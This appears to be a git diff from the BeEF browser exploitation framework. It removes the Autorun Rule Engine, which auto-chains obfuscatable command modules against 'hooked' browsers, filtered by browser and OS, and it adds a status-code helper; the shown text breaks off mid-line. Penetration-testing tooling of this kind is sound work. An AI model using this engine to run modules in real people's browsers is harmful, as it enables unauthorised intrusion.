mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output") - wrapped_mod = "#{mod_body}\n" - wrapper += wrapped_mod - c += 1 - end - wrapper += delayed_exec - print_more "Final Modules Wrapper:\n #{wrapper}" if @debug_on - wrapper - end - - # Wraps module bodies in their own function, then start to execute them from the first, polling for - # command execution status/results (with configurable polling interval and timeout). - # Launch order is also taken care of. - # - nested forward chain with status checks (setInterval to wait for command to return from async operations) - # ex.: module_one() - # if condition - # module_two(module_one_output) - # if condition - # module_three(module_two_output) - # - # Note: command result status is checked, and you can properly chain input into output, having also - # the flexibility of slightly mangling it to adapt to module needs. - # Note: Useful in situations where you want to launch 2 modules, where the second one will execute only - # if the first once return with success. Also, the second module has the possibility of mangling first - # module output and use it as input for some of its module inputs. - def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) - wrapper = '' - delayed_exec = '' - delayed_exec_footers = [] - c = 0 - - while c < mods.length - i = if mods.length == 1 - c - else - c + 1 - end - - code_snippet = '' - mod_input = '' - if code[c] != 'null' && code[c] != '' - code_snippet = code[c] - mod_input = 'mod_input' - end - - conditions[i] = true if conditions[i].nil? || conditions[i] == '' - - if c == 0 - # this is the first wrapper to prepare - delayed_exec += %| - function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ - #{mods[order[c]][:mod_name]}_#{rule_token}(); - - // TODO add timeout to prevent infinite loops - function isResReady(mod_result, start){ - if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){ - // loop - }else{ - // module return status/data is now available - clearInterval(resultReady); - if (mod_result === null && #{@continue_after_timeout}){ - var mod_result = []; - mod_result[0] = 1; //unknown status - mod_result[1] = '' //empty result - } - var status = mod_result[0]; - if(#{conditions[i]}){ - #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true; - #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; - | - - delayed_exec_footer = %| - } - } - } - var start = (new Date()).getTime(); - var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval}); - } - #{mods[order[c]][:mod_name]}_#{rule_token}_f(); - | - - delayed_exec_footers.push(delayed_exec_footer) - - elsif c < mods.length - 1 - code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}") - - # this is one of the wrappers in the middle of the chain - delayed_exec += %| - function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ - if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ - #{code_snippet} - #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input}); - function isResReady(mod_result, start){ - if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){ - // loop - }else{ - // module return status/data is now available - clearInterval(resultReady); - if (mod_result === null && #{@continue_after_timeout}){ - var mod_result = []; - mod_result[0] = 1; //unknown status - mod_result[1] = '' //empty result - } - var status = mod_result[0]; - if(#{conditions[i]}){ - #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true; - #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; - | - - delayed_exec_footer = %| - } - } - } - var start = (new Date()).getTime(); - var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval}); - } - } - #{mods[order[c]][:mod_name]}_#{rule_token}_f(); - | - - delayed_exec_footers.push(delayed_exec_footer) - else - code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}") - # this is the last wrapper to prepare - delayed_exec += %| - function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ - if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ - #{code_snippet} - #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input}); - } - } - #{mods[order[c]][:mod_name]}_#{rule_token}_f(); - | - end - mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output") - wrapped_mod = "#{mod_body}\n" - wrapper += wrapped_mod - c += 1 - end - wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n") - print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on - wrapper - end - - # prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it, - # and store it in the database. - # Returns the raw module body after template substitution. - def prepare_command(mod, options, hb_id, replace_input, rule_token) - config = BeEF::Core::Configuration.instance - begin - command = BeEF::Core::Models::Command.new( - data: options.to_json, - hooked_browser_id: hb_id, - command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"), - creationdate: Time.new.to_i, - instructions_sent: true - ) - command.save! - - command_module = BeEF::Core::Models::CommandModule.find(mod.id) - if command_module.path.match(/^Dynamic/) - # metasploit and similar integrations - command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new - else - # normal modules always here - key = BeEF::Module.get_key_by_database_id(mod.id) - command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key) - end - - hb = BeEF::HBManager.get_by_id(hb_id) - hb_session = hb.session - command_module.command_id = command.id - command_module.session_id = hb_session - command_module.build_datastore(command.data) - command_module.pre_send - - build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty? - - if config.get('beef.extension.evasion.enable') - evasion = BeEF::Extension::Evasion::Evasion.instance - command_body = evasion.obfuscate(command_module.output) + "\n\n" - else - command_body = command_module.output + "\n\n" - end - - # @note prints the event to the console - print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]" - - mod_input = replace_input ? 'mod_input' : '' - result = %| - var #{mod.name}_#{rule_token} = function(#{mod_input}){ - #{clean_command_body(command_body, replace_input)} - }; - var #{mod.name}_#{rule_token}_can_exec = false; - var #{mod.name}_#{rule_token}_mod_output = null; - | - - { mod_name: mod.name, mod_body: result } - rescue StandardError => e - print_error e.message - print_debug e.backtrace.join("\n") - end - end - - # Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than - # using the default behavior of adding the module to an array and execute it at polling time. - # - # Also replace <> with mod_input variable if needed for chaining module output/input - def clean_command_body(command_body, replace_input) - cmd_body = command_body.lines.map(&:chomp) - wrapper_start_index, wrapper_end_index = nil - - cmd_body.each_with_index do |line, index| - if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/ - wrapper_start_index = index - break - end - end - print_error '[ARE] Could not find module start index' if wrapper_start_index.nil? - - cmd_body.reverse.each_with_index do |line, index| - if line.include?('});') - wrapper_end_index = index - break - end - end - print_error '[ARE] Could not find module end index' if wrapper_end_index.nil? - - cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join("\n") - - print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('') - - # check if <> should be replaced with a variable name (depending if the variable is a string or number) - return cleaned_cmd_body unless replace_input - - if cleaned_cmd_body.include?('"<>"') - cleaned_cmd_body.gsub('"<>"', 'mod_input') - elsif cleaned_cmd_body.include?('\'<>\'') - cleaned_cmd_body.gsub('\'<>\'', 'mod_input') - elsif cleaned_cmd_body.include?('<>') - cleaned_cmd_body.gsub('\'<>\'', 'mod_input') - else - cleaned_cmd_body - end - rescue StandardError => e - print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}" - end - - # compare versions - def compare_versions(ver_a, cond, ver_b) - return true if cond == 'ALL' - return true if cond == '==' && ver_a == ver_b - return true if cond == '<=' && ver_a <= ver_b - return true if cond == '<' && ver_a < ver_b - return true if cond == '>=' && ver_a >= ver_b - return true if cond == '>' && ver_a > ver_b - - false - end - end - end - end -end diff --git a/core/main/autorun_engine/parser.rb b/core/main/autorun_engine/parser.rb deleted file mode 100644 index 0b02fa9ae7..0000000000 --- a/core/main/autorun_engine/parser.rb +++ /dev/null @@ -1,82 +0,0 @@ -# -# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - https://beefproject.com -# See the file 'doc/COPYING' for copying permission -# -module BeEF - module Core - module AutorunEngine - class Parser - include Singleton - - def initialize - @config = BeEF::Core::Configuration.instance - end - - BROWSER = %w[FF C IE S O ALL] - OS = %w[Linux Windows OSX Android iOS BlackBerry ALL] - VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP'] - CHAIN_MODE = %w[sequential nested-forward] - MAX_VER_LEN = 15 - - def parse(name, author, browser, browser_version, os, os_version, modules, execution_order, execution_delay, chain_mode) - raise ArgumentError, "Invalid rule name: #{name}" unless BeEF::Filters.is_non_empty_string?(name) - raise ArgumentError, "Invalid author name: #{author}" unless BeEF::Filters.is_non_empty_string?(author) - raise ArgumentError, "Invalid chain_mode definition: #{chain_mode}" unless CHAIN_MODE.include?(chain_mode) - raise ArgumentError, "Invalid os definition: #{os}" unless OS.include?(os) - - unless modules.size == execution_delay.size - raise ArgumentError, "Number of execution_delay values (#{execution_delay.size}) must be consistent with number of modules (#{modules.size})" - end - execution_delay.each { |delay| raise TypeError, "Invalid execution_delay value: #{delay}. Values must be Integers." unless delay.is_a?(Integer) } - - unless modules.size == execution_order.size - raise ArgumentError, "Number of execution_order values (#{execution_order.size}) must be consistent with number of modules (#{modules.size})" - end - execution_order.each { |order| raise TypeError, "Invalid execution_order value: #{order}. Values must be Integers." unless order.is_a?(Integer) } - - # if multiple browsers were specified, check each browser - if browser.is_a?(Array) - browser.each do |b| - raise ArgumentError, "Invalid browser definition: #{browser}" unless BROWSER.include?(b) - end - # else, if only one browser was specified, check browser and browser version - else - raise ArgumentError, "Invalid browser definition: #{browser}" unless BROWSER.include?(browser) - - if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\s+/, '')) && - BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/, '')) && browser_version.length < MAX_VER_LEN) - raise ArgumentError, "Invalid browser_version definition: #{browser_version}" - end - end - - if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) && - BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\s+/, '')) && os_version.length < MAX_VER_LEN) - return ArgumentError, "Invalid os_version definition: #{os_version}" - end - - # check if module names, conditions and options are ok - modules.each do |cmd_mod| - mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first - - raise "The specified module name (#{cmd_mod['name']}) does not exist" if mod.nil? - - modk = BeEF::Module.get_key_by_database_id(mod.id) - mod_options = BeEF::Module.get_options(modk) - - opt_count = 0 - mod_options.each do |opt| - if opt['name'] != cmd_mod['options'].keys[opt_count] - raise ArgumentError, "The specified option (#{cmd_mod['options'].keys[opt_count]}) for module (#{cmd_mod['name']}) was not specified" - end - - opt_count += 1 - end - end - - true - end - end - end - end -end diff --git a/core/main/autorun_engine/rule_loader.rb b/core/main/autorun_engine/rule_loader.rb deleted file mode 100644 index 3a78f9cb0b..0000000000 --- a/core/main/autorun_engine/rule_loader.rb +++ /dev/null @@ -1,220 +0,0 @@ -# -# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - https://beefproject.com -# See the file 'doc/COPYING' for copying permission -# -module BeEF - module Core - module AutorunEngine - class RuleLoader - include Singleton - - def initialize - @config = BeEF::Core::Configuration.instance - @debug_on = @config.get('beef.debug') - end - - # Load an ARE rule set - # @param [Hash] ARE ruleset as JSON - # @return [Hash] {"success": Boolean, "rule_id": Integer, "error": String} - def load_rule_json(data) - name = data['name'] || '' - author = data['author'] || '' - browser = data['browser'] || 'ALL' - browser_version = data['browser_version'] || 'ALL' - os = data['os'] || 'ALL' - os_version = data['os_version'] || 'ALL' - modules = data['modules'] - execution_order = data['execution_order'] - execution_delay = data['execution_delay'] - chain_mode = data['chain_mode'] || 'sequential' - - begin - BeEF::Core::AutorunEngine::Parser.instance.parse( - name, - author, - browser, - browser_version, - os, - os_version, - modules, - execution_order, - execution_delay, - chain_mode - ) - rescue => e - print_error("[ARE] Error loading ruleset (#{name}): #{e.message}") - return { 'success' => false, 'error' => e.message } - end - - existing_rule = BeEF::Core::Models::Rule.where( - name: name, - author: author, - browser: browser, - browser_version: browser_version, - os: os, - os_version: os_version, - modules: modules.to_json, - execution_order: execution_order.to_s, - execution_delay: execution_delay.to_s, - chain_mode: chain_mode - ).first - - unless existing_rule.nil? - msg = "Duplicate rule already exists in the database (ID: #{existing_rule.id})" - print_info("[ARE] Skipping ruleset (#{name}): #{msg}") - return { 'success' => false, 'error' => msg } - end - - are_rule = BeEF::Core::Models::Rule.new( - name: name, - author: author, - browser: browser, - browser_version: browser_version, - os: os, - os_version: os_version, - modules: modules.to_json, - execution_order: execution_order.to_s, - execution_delay: execution_delay.to_s, - chain_mode: chain_mode - ) - are_rule.save - - print_info("[ARE] Ruleset (#{name}) parsed and stored successfully.") - - if @debug_on - print_more "Target Browser: #{browser} (#{browser_version})" - print_more "Target OS: #{os} (#{os_version})" - print_more 'Modules to run:' - modules.each do |mod| - print_more "(*) Name: #{mod['name']}" - print_more "(*) Condition: #{mod['condition']}" - print_more "(*) Code: #{mod['code']}" - print_more '(*) Options:' - mod['options'].each do |key, value| - print_more "\t#{key}: (#{value})" - end - end - print_more "Exec order: #{execution_order}" - print_more "Exec delay: #{exec_delay}" - end - - { 'success' => true, 'rule_id' => are_rule.id } - rescue TypeError, ArgumentError => e - print_error("[ARE] Failed to load ruleset (#{name}): #{e.message}") - { 'success' => false, 'error' => e.message } - end - - # Update an ARE rule set. - # @param [Hash] ARE rule ID. - # @param [Hash] ARE ruleset as JSON - # @return [Hash] {"success": Boolean, "rule_id": Integer, "error": String} - def update_rule_json(id, data) - # Quite similar in implementation to load_rule_json. Might benefit from a refactor. - name = data['name'] || '' - author = data['author'] || '' - browser = data['browser'] || 'ALL' - browser_version = data['browser_version'] || 'ALL' - os = data['os'] || 'ALL' - os_version = data['os_version'] || 'ALL' - modules = data['modules'] - execution_order = data['execution_order'] - execution_delay = data['execution_delay'] - chain_mode = data['chain_mode'] || 'sequential' - - begin - BeEF::Core::AutorunEngine::Parser.instance.parse( - name, - author, - browser, - browser_version, - os, - os_version, - modules, - execution_order, - execution_delay, - chain_mode - ) - rescue => e - print_error("[ARE] Error updating ruleset (#{name}): #{e.message}") - return { 'success' => false, 'error' => e.message } - end - - existing_rule = BeEF::Core::Models::Rule.where( - name: name, - author: author, - browser: browser, - browser_version: browser_version, - os: os, - os_version: os_version, - modules: modules.to_json, - execution_order: execution_order.to_s, - execution_delay: execution_delay.to_s, - chain_mode: chain_mode - ).first - - unless existing_rule.nil? - msg = "Duplicate rule already exists in the database (ID: #{existing_rule.id})" - print_info("[ARE] Skipping ruleset (#{name}): #{msg}") - return { 'success' => false, 'error' => msg } - end - old_are_rule = BeEF::Core::Models::Rule.find_by(id: id) - - old_are_rule.update( - name: name, - author: author, - browser: browser, - browser_version: browser_version, - os: os, - os_version: os_version, - modules: modules.to_json, - execution_order: execution_order.to_s, - execution_delay: execution_delay.to_s, - chain_mode: chain_mode - ) - - print_info("[ARE] Ruleset (#{name}) updated successfully.") - - if @debug_on - print_more "Target Browser: #{browser} (#{browser_version})" - print_more "Target OS: #{os} (#{os_version})" - print_more 'Modules to run:' - modules.each do |mod| - print_more "(*) Name: #{mod['name']}" - print_more "(*) Condition: #{mod['condition']}" - print_more "(*) Code: #{mod['code']}" - print_more '(*) Options:' - mod['options'].each do |key, value| - print_more "\t#{key}: (#{value})" - end - end - print_more "Exec order: #{execution_order}" - print_more "Exec delay: #{exec_delay}" - end - - { 'success' => true } - rescue TypeError, ArgumentError => e - print_error("[ARE] Failed to update ruleset (#{name}): #{e.message}") - { 'success' => false, 'error' => e.message } - end - - # Load an ARE ruleset from file - # @param [String] JSON ARE ruleset file path - def load_rule_file(json_rule_path) - rule_file = File.open(json_rule_path, 'r:UTF-8', &:read) - self.load_rule_json(JSON.parse(rule_file)) - rescue => e - print_error("[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}") - end - - # Load all JSON ARE rule files from arerules/enabled/ directory - def load_directory - Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule_file| - print_debug("[ARE] Processing ruleset file: #{rule_file}") - load_rule_file(rule_file) - end - end - end - end - end -end diff --git a/core/main/client/are.js b/core/main/client/are.js deleted file mode 100644 index 126482a4f5..0000000000 --- a/core/main/client/are.js +++ /dev/null @@ -1,41 +0,0 @@ -// -// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -// Browser Exploitation Framework (BeEF) - https://beefproject.com -// See the file 'doc/COPYING' for copying permission -// - -/** - * A series of functions that handle statuses, returns a number based on the function called. - * @namespace beef.are - */ - -beef.are = { - /** - * A function for handling a success status - * @memberof beef.are - * @method status_success - * @return {number} 1 - */ - status_success: function(){ - return 1; - }, - /** - * A function for handling an unknown status - * @memberof beef.are - * @method status_unknown - * @return {number} 0 - */ - status_unknown: function(){ - return 0; - }, - /** - * A function for handling an error status - * @memberof beef.are - * @method status_error - * @return {number} -1 - */ - status_error: function(){ - return -1; - } -}; -beef.regCmp("beef.are"); diff --git a/core/main/client/init.js b/core/main/client/init.js index 2756c00abd..8a9bf49f6a 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -66,7 +66,6 @@ window.onclose = function (event) { * - browser details (see browser.js) are sent back to the "/init" handler * - the polling starts (checks for new commands, and execute them) * - the logger component is initialized (see logger.js) - * - the Autorun Engine is initialized (see are.js) * @memberof beef.init */ function beef_init() { diff --git a/core/main/client/status.js b/core/main/client/status.js new file mode 100644 index 0000000000..e7433d9191 --- /dev/null +++ b/core/main/client/status.js @@ -0,0 +1,42 @@ +// +// Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - https://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +/** + * Status code helpers for module command results. + * Modules use these when sending results back to the BeEF server. + * @namespace beef.status + */ + +beef.status = { + /** + * Success status code + * @memberof beef.status + * @method success + * @return {number} 1 + */ + success: function(){ + return 1; + }, + /** + * Unknown status code + * @memberof beef.status + * @method unknown + * @return {number} 0 + */ + unknown: function(){ + return 0; + }, + /** + * Error status code + * @memberof beef.status + * @method error + * @return {number} -1 + */ + error: function(){ + return -1; + } +}; +beef.regCmp("beef.status"); diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 3d02f22253..4d75411b23 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -557,10 +557,6 @@ def setup BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: '127.0.0.1', hostname: 'localhost', os: BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name')) end - - # check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel - # is WebSockets, then ARe rules are triggered after channel is established. - BeEF::Core::AutorunEngine::Engine.instance.find_and_run_all_matching_rules_for_zombie(zombie.id) unless config.get('beef.http.websocket.enable') end def get_param(query, key) diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index b15ad1b08e..2f173b98af 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -113,13 +113,6 @@ def confirm_browser_user_agent(user_agent) zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false) zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } - # @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered - are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id) - are_executions.each do |are_exec| - @body += are_exec.mod_body - are_exec.update(is_sent: true, exec_time: Time.new.to_i) - end - # @note We dynamically get the list of all browser hook handler using the API and register them BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response) else diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 8e4d42bc6b..821fee54d0 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -23,7 +23,7 @@ def build_beefjs!(req_host) # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js - encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js] # @note Load websocket library only if WS server is enabled in config.yaml beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled diff --git a/core/main/handlers/modules/legacybeefjs.rb b/core/main/handlers/modules/legacybeefjs.rb index 240a836598..296a49d8d4 100644 --- a/core/main/handlers/modules/legacybeefjs.rb +++ b/core/main/handlers/modules/legacybeefjs.rb @@ -23,7 +23,7 @@ def legacy_build_beefjs!(req_host) # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js - encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js] # @note Load websocket library only if WS server is enabled in config.yaml beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled diff --git a/core/main/handlers/modules/multistagebeefjs.rb b/core/main/handlers/modules/multistagebeefjs.rb index e054fcf5c4..a7a2343306 100644 --- a/core/main/handlers/modules/multistagebeefjs.rb +++ b/core/main/handlers/modules/multistagebeefjs.rb @@ -23,7 +23,7 @@ def multi_stage_beefjs!(req_host) # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js - encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js] # @note Load websocket library only if WS server is enabled in config.yaml beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled diff --git a/core/main/models/execution.rb b/core/main/models/execution.rb deleted file mode 100644 index 1991047950..0000000000 --- a/core/main/models/execution.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - https://beefproject.com -# See the file 'doc/COPYING' for copying permission -# - -module BeEF - module Core - module Models # @note Stored info about the execution of the ARE on hooked browsers. - class Execution < BeEF::Core::Model - end - end - end -end diff --git a/core/main/models/rule.rb b/core/main/models/rule.rb deleted file mode 100644 index e56bb4d2a7..0000000000 --- a/core/main/models/rule.rb +++ /dev/null @@ -1,16 +0,0 @@ -# -# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - https://beefproject.com -# See the file 'doc/COPYING' for copying permission -# - -module BeEF - module Core - module Models - # @note Table stores the rules for the Distributed Engine. - class Rule < BeEF::Core::Model - has_many :executions - end - end - end -end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index b0399532a1..3ccea20aa4 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -108,12 +108,9 @@ def start_websocket_server(ws_options) hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hb_session).first if hooked_browser.nil? print_error '[WebSocket] Fingerprinting not finished yet.' - print_more 'ARE rules were not triggered. You may want to trigger them manually via REST API.' next end - BeEF::Core::AutorunEngine::Engine.instance.find_and_run_all_matching_rules_for_zombie(hooked_browser.id) - next end @@ -140,15 +137,6 @@ def start_websocket_server(ws_options) zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false) zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } - # Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered - are_body = '' - are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hooked_browser.session) - are_executions.each do |are_exec| - are_body += are_exec.mod_body - are_exec.update(is_sent: true, exec_time: Time.new.to_i) - end - @@activeSocket[hooked_browser.session].send(are_body) unless are_body.empty? - # @todo antisnatchor: # @todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions # Check if new forged requests need to be sent (Requester/TunnelingProxy) diff --git a/core/main/rest/api.rb b/core/main/rest/api.rb index 207c596ff4..b18341d6ba 100644 --- a/core/main/rest/api.rb +++ b/core/main/rest/api.rb @@ -48,12 +48,6 @@ def self.mount_handler(server) end end - module RegisterAutorunHandler - def self.mount_handler(server) - server.mount('/api/autorun', BeEF::Core::Rest::AutorunEngine.new) - end - end - BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterBrowserDetailsHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler') @@ -61,7 +55,6 @@ def self.mount_handler(server) BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler') - BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler') # # Check the source IP is within the permitted subnet diff --git a/core/main/rest/handlers/autorun_engine.rb b/core/main/rest/handlers/autorun_engine.rb deleted file mode 100644 index c2e311067e..0000000000 --- a/core/main/rest/handlers/autorun_engine.rb +++ /dev/null @@ -1,157 +0,0 @@ -# -# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - https://beefproject.com -# See the file 'doc/COPYING' for copying permission -# - -module BeEF - module Core - module Rest - class AutorunEngine < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance - - before do - error 401 unless params[:token] == config.get('beef.api_token') - halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) - headers 'Content-Type' => 'application/json; charset=UTF-8', - 'Pragma' => 'no-cache', - 'Cache-Control' => 'no-cache', - 'Expires' => '0' - end - - # - # Get all rules - # - get '/rules' do - rules = BeEF::Core::Models::Rule.all - { - 'success' => true, - 'count' => rules.length, - 'rules' => rules.to_json - }.to_json - rescue StandardError => e - print_error("Internal error while retrieving Autorun rules: #{e.message}") - halt 500 - end - - # Returns a specific rule by ID - get '/rule/:rule_id' do - rule_id = params[:rule_id] - - rule = BeEF::Core::Models::Rule.find(rule_id) - raise InvalidParameterError, 'id' if rule.nil? - - halt 404 if rule.empty? - - rule.to_json - rescue InvalidParameterError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving Autorun rule with id #{rule_id} (#{e.message})" - halt 500 - end - - # - # Add a new ruleset. Return the rule_id if request was successful. - # @return [Integer] rule ID - # - post '/rule/add' do - request.body.rewind - data = JSON.parse request.body.read - rloader = BeEF::Core::AutorunEngine::RuleLoader.instance - rloader.load_rule_json(data).to_json - rescue StandardError => e - print_error "Internal error while adding Autorun rule: #{e.message}" - { 'success' => false, 'error' => e.message }.to_json - end - - # - # Delete a ruleset - # - delete '/rule/:rule_id' do - rule_id = params[:rule_id] - rule = BeEF::Core::Models::Rule.find(rule_id) - raise InvalidParameterError, 'id' if rule.nil? - rule.destroy - - { 'success' => true }.to_json - rescue InvalidParameterError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while deleting Autorun rule: #{e.message}" - { 'success' => false, 'error' => e.message }.to_json - end - - # - # Update a ruleset - # - patch '/rule/:rule_id' do - rule_id = params[:rule_id] - rule = BeEF::Core::Models::Rule.find(rule_id) - raise InvalidParameterError, 'id' if rule.nil? - data = JSON.parse request.body.read - rloader = BeEF::Core::AutorunEngine::RuleLoader.instance - rloader.update_rule_json(rule_id, data) - - { 'success' => true }.to_json - rescue InvalidParameterError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while updating Autorun rule: #{e.message}" - { 'success' => false, 'error' => e.message }.to_json - end - - # - # Run a specified rule on all online hooked browsers (if the zombie matches the rule). - # Offline hooked browsers are ignored - # - get '/run/:rule_id' do - rule_id = params[:rule_id] - - online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15)) - - if online_hooks.nil? - return { 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json - end - - are = BeEF::Core::AutorunEngine::Engine.instance - online_hooks.each do |hb| - are.run_matching_rules_on_zombie(rule_id, hb.id) - end - - { 'success' => true }.to_json - rescue StandardError => e - msg = "Could not trigger rules: 